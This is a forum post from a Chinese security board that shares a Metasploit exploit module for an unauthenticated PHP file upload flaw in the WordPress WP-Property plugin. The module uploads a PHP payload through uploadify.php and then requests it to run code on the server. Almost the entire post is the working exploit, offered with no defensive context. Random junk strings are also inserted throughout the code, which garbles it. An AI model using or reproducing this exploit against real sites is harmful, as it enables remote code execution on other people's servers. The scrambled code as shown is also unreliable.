找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2315|回复: 0
打印 上一主题 下一主题

WordPress WP-Property PHP 文件上传漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-4 19:51:30 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
WordPress WP-Property PHP 文件上传漏洞! e& n; P% r: y# L
: T3 q8 G# h; M1 P5 g# v
## # This file is part of the Metasploit Framework and may be subject to
0 X' t/ {4 I. l6 ^( Y, F) M: M' R7 r
5 X* [; T% [( I& s# z# v% B8 f7 `# redistribution and commercial restrictions. Please see the Metasploit
1 K7 {; }1 N- k5 a, l% o- [  l$ j9 a' _4 I$ C3 ~! o
# Framework web site for more information on licensing and terms of use.
! M# o  O4 U0 r" i, [* N; @! {3 |/ S! o
#   http://metasploit.com/framework/ ##
8 [/ r- D# H% P4 E% i9 A9 n& @/ w; r3 M6 K" ^

: i( G5 o. z4 `7 |# m* C4 n. Z5 i- ]% I+ J
9 M; l) v( Z6 ~+ r- x8 L1 M' g

+ J% s  R' s) V4 v$ k) _( Wrequire 'msf/core'
' |1 Y0 g- ~. X4 crequire 'msf/core/exploit/php_exe'
, r3 M. m0 X: A( E
( _% v/ g/ W5 ]; t1 [1 Uclass Metasploit3 < Msf::Exploit::Remote     Rank = ExcellentRanking       include Msf::Exploit::Remote::HttpClient     include Msf::Exploit:hpEXE       def initialize(info = {})         super(update_info(info,             'Name'           => 'WordPress WP-Property PHP File Upload Vulnerability',! l4 @; x2 k+ t5 @% e0 b- U
'Description'    => %q{
' @6 L2 [7 Q. l. v. B  [1 Q/ U  |" V" HThis module exploits a vulnerability found in WP-Property <= 1.35.0 WordPress                 plugin. By abusing the uploadify.php file, a malicious user can upload a file to a                 temp directory without authentication, which results in arbitrary code execution.             },             'Author'         =>3 T$ g% ]4 N  `  A3 I. W$ ^
[
- I: u, b0 ?& z% H( `, E9 K, B# @  O'Sammy FORGIT', # initial discovery
( J7 T4 P+ @% r" b" u, j- P1 m'James Fitts <fitts.james[at]gmail.com>' # metasploit module4 n1 w1 C9 d$ R# c; v+ n
],
  `# v! t- X' \9 |'License'        => MSF_LICENSE,
  t4 {- S$ Y* \$ n8 }  P: L7 I$ U'References'     =>% `! a3 K, R# L" J! Y+ M) ?
[' y# A0 a* V" Y8 Z8 v% `& c
[ 'OSVDB', '82656' ],
2 g: V, r: R' v/ E" T0 s0 M% }5 Z[ 'BID', '53787' ],
) D) S! E# b( E- C0 F# _% q+ |[ 'EDB', '18987'],
& ]2 f7 F& H+ e. ]( H, d( {1 F[ 'URL', 'http://www.opensyscom.fr/Actualites/wordpress-plugins-wp-property-shell-upload-vulnerability.html' ]6 b/ N& s, m" `; C1 n) N- D
],
5 }$ N' g+ G" n'Payload'        =>
! A; g" W- ^( N& M$ m- w( L{7 L. d1 O+ G/ P8 J: T- O9 ?' _0 e
'BadChars' => "\x00",
5 L: V  z* J) [; |6 O},
8 `" c. n* x9 q2 F'Platform'       => 'php',* b# i# ]4 C0 D/ H1 k0 |
'Arch'           => ARCH_PHP,
+ l0 C7 o: Z  O'Targets'        =>0 h; [- T% |  L* c
[
& ]6 D! z6 R3 v7 Q9 B; J" F" t[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],# ?' i2 \9 i! c8 R
[ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]- o/ I1 B* ]8 O( Z' j' C, }8 B  r
],3 r% b* x& A0 c1 g) g" ^% ^3 G
'DefaultTarget'  => 0,2 \+ |3 N: `3 g* t1 ]
'DisclosureDate' => 'Mar 26 2012'))
2 T- f7 e% V3 B: L: u+ ^5 R0 Q' s  H; }9 Q2 H9 C8 S# g- r* s
register_options(
- [( g' m. T9 w9 J[
  h* E2 X/ f6 ~& g6 p+ u- H' zOptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/wordpress']); s4 N9 j1 ^8 C1 Y9 h
], self.class)
4 V; E5 f% A/ t4 [2 ?' gend0 K. S1 R* l/ j7 d$ m* z0 V
) p$ p  j! F# B2 Q
def check7 }$ p2 a  l  i! I* a
uri =  target_uri.path- E" X- ]5 D% t; a. _. _
uri << '/' if uri[-1,1] != '/'           res = send_request_cgi({             'method' => 'GET',6 G! m# |5 P# V, i! {
'uri'    => "#{uri}wp-content/plugins/wp-property/third-party/uploadify/uploadify.php"
1 K4 u  P9 b" b8 V( u$ ?- M$ `})
" \) o- Q4 d2 C, E1 b  j
+ ~* J( ?/ O! i- z& Zif not res or res.code != 200
+ H1 u% x, H9 q) k4 j6 s: G: Zreturn Exploit::CheckCode::Unknown- ^8 r4 l" r, G; E# y/ h# J3 K
end# g! d; k. l+ X2 _0 T0 |
; Y% e2 r3 h0 l. a/ t+ V7 @
return Exploit::CheckCode::Appears" U% m4 X8 ~3 u$ D4 m7 d- X) Y8 N
end
+ Y! K$ h( h9 X4 E& m$ g0 ^) Q, H" }6 B1 Q
def exploit2 j( Z: {. t8 K' a& T0 B0 f9 e! r
uri =  target_uri.path
2 e; E$ {$ K$ nuri << '/' if uri[-1,1] != '/'           peer = "#{rhost}:#{rport}"           @payload_name = "#{rand_text_alpha(5)}.php"         php_payload = get_write_exec_payload(:unlink_self=>true)8 j" w) u5 ^7 ~  m3 ^

7 _/ a+ a8 s8 F9 V$ i( T, ldata = Rex::MIME::Message.new
' a: l* x2 U5 G4 e! [/ p5 {5 w2 Xdata.add_part(php_payload, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{@payload_name}\"")& H) r3 ^% v7 k$ R! i
data.add_part("#{uri}wp-content/plugins/wp-property/third-party/uploadify/", nil, nil, "form-data; name=\"folder\"")
8 |$ @6 ]2 D, dpost_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
/ M' G+ G2 q6 P3 ?' }0 ~+ I% x" F! c7 c2 A% p6 L9 s
print_status("#{peer} - Uploading payload #{@payload_name}")
1 L/ p. \% V8 |7 F1 M  W( Tres = send_request_cgi({, K3 y5 Q$ d8 S5 f; U. k& X& N* C! G
'method' => 'POST',
: r" [4 O0 O: X% N7 g'uri'    => "#{uri}wp-content/plugins/wp-property/third-party/uploadify/uploadify.php",/ ?# f( E  g0 C2 n' Y* I1 a
'ctype'  => "multipart/form-data; boundary=#{data.bound}",
. i- M8 b0 e$ y: Q8 J/ y'data'   => post_data5 B% @- |3 D* G; Y1 ^3 e
})/ _8 }, G2 k4 H
" Y7 x% I& |& ]# E' r3 c- V: p
if not res or res.code != 200 or res.body !~ /#{@payload_name}// T; q) I2 I, D  ]" e) b7 o! t
fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed")
0 U. R; H9 }- y1 @3 j4 dend% _) j% S5 d) G: H7 b8 h
# q3 s$ E9 C- f) A2 ]9 o: U
upload_uri = res.body' y9 C4 F* K2 F
0 u, _8 u8 R7 g% p  Z
print_status("#{peer} - Executing payload #{@payload_name}")
) k" v6 k; |! a( [0 vres = send_request_raw({6 n: V3 J# I  ~  ^. O
'uri'    => upload_uri," Q' C$ |; F3 R
'method' => 'GET'2 e% }: J  T: X7 A) d
})1 W: Y- W# s3 n% M' O8 |. A0 \
end
' R7 R2 l5 l- gend
/ t( v4 U  j. \. B) v+ [$ p& }, ~" H
6 |0 H8 t7 z, v$ Q0 h不要问我这写的是什么 怎么利用 我是说msf.5 d1 |3 `- [& I
9 f9 d7 t) e( d$ X' V/ ~$ l& b
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表